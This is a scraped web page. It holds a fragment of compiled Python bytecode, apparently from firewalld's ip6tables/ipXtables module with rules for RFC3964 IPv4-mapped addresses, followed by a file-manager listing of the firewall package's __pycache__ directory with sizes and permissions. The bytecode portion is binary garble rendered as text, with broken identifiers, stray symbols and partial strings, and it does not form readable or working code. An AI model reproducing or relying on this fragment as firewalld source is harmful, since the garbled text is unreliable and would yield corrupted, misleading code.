ddg
�q6|�dddddd|g�|�dddd|j��dkr�dndd|g�|S)N)	z::0.0.0.0/96z::ffff:0.0.0.0/96z2002:0000::/24z2002:0a00::/24z2002:7f00::/24z2002:ac10::/28z2002:c0a8::/32z2002:a9fe::/32z2002:e000::/19ZRFC3964_IPv4r)r�r8r6r�r�r�r�zaddr-unreach)r��allr r!zRFC3964_IPv4_REJECT: r!�4r"r��6�5)rar�r�rTZ_log_deniedr$)rbZ
daddr_listZ
chain_namer�ZdaddrrDrDrE�build_rfc3964_ipv4_rules�s.
����z"ip6tables.build_rfc3964_ipv4_rulesN)F)r`rarbrUr�rdrirDrDrDrErc�s
rc)3Zos.pathrfr�Zfirewall.core.progrZfirewall.core.loggerrZfirewall.functionsrrrrrr	r
rZfirewallrZfirewall.errorsr
rrrrrZfirewall.core.richrrrrrrrrrZfirewall.core.baserZfirewall.core.icmprrr�rrr�r�rFrJrR�objectrSrcrDrDrDrE�<module>sL( ,�	��%* 

Filemanager

DIR : / usr/ lib/ python3.9/ site-packages/ firewall/ core/ __pycache__/
Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 149 B 0644
__init__.cpython-39.pyc File 149 B 0644
base.cpython-39.opt-1.pyc File 1.09 KB 0644
base.cpython-39.pyc File 1.09 KB 0644
ebtables.cpython-39.opt-1.pyc File 7.22 KB 0644
ebtables.cpython-39.pyc File 7.22 KB 0644
fw.cpython-39.opt-1.pyc File 34.37 KB 0644
fw.cpython-39.pyc File 34.4 KB 0644
fw_config.cpython-39.opt-1.pyc File 32.8 KB 0644
fw_config.cpython-39.pyc File 32.8 KB 0644
fw_direct.cpython-39.opt-1.pyc File 12.91 KB 0644
fw_direct.cpython-39.pyc File 12.91 KB 0644
fw_helper.cpython-39.opt-1.pyc File 2.01 KB 0644
fw_helper.cpython-39.pyc File 2.01 KB 0644
fw_icmptype.cpython-39.opt-1.pyc File 2.17 KB 0644
fw_icmptype.cpython-39.pyc File 2.17 KB 0644
fw_ifcfg.cpython-39.opt-1.pyc File 1.4 KB 0644
fw_ifcfg.cpython-39.pyc File 1.4 KB 0644
fw_ipset.cpython-39.opt-1.pyc File 7.6 KB 0644
fw_ipset.cpython-39.pyc File 7.6 KB 0644
fw_nm.cpython-39.opt-1.pyc File 5.04 KB 0644
fw_nm.cpython-39.pyc File 5.04 KB 0644
fw_policies.cpython-39.opt-1.pyc File 2.33 KB 0644
fw_policies.cpython-39.pyc File 2.33 KB 0644
fw_policy.cpython-39.opt-1.pyc File 46.81 KB 0644
fw_policy.cpython-39.pyc File 46.81 KB 0644
fw_service.cpython-39.opt-1.pyc File 1.68 KB 0644
fw_service.cpython-39.pyc File 1.68 KB 0644
fw_transaction.cpython-39.opt-1.pyc File 4.62 KB 0644
fw_transaction.cpython-39.pyc File 4.62 KB 0644
fw_zone.cpython-39.opt-1.pyc File 29.81 KB 0644
fw_zone.cpython-39.pyc File 29.81 KB 0644
helper.cpython-39.opt-1.pyc File 210 B 0644
helper.cpython-39.pyc File 210 B 0644
icmp.cpython-39.opt-1.pyc File 3.01 KB 0644
icmp.cpython-39.pyc File 3.01 KB 0644
ipXtables.cpython-39.opt-1.pyc File 34 KB 0644
ipXtables.cpython-39.pyc File 34 KB 0644
ipset.cpython-39.opt-1.pyc File 8.05 KB 0644
ipset.cpython-39.pyc File 8.05 KB 0644
logger.cpython-39.opt-1.pyc File 22.3 KB 0644
logger.cpython-39.pyc File 22.3 KB 0644
modules.cpython-39.opt-1.pyc File 2.85 KB 0644
modules.cpython-39.pyc File 2.85 KB 0644
nftables.cpython-39.opt-1.pyc File 41.78 KB 0644
nftables.cpython-39.pyc File 41.81 KB 0644
prog.cpython-39.opt-1.pyc File 746 B 0644
prog.cpython-39.pyc File 746 B 0644
rich.cpython-39.opt-1.pyc File 20.8 KB 0644
rich.cpython-39.pyc File 20.8 KB 0644
watcher.cpython-39.opt-1.pyc File 2.74 KB 0644
watcher.cpython-39.pyc File 2.74 KB 0644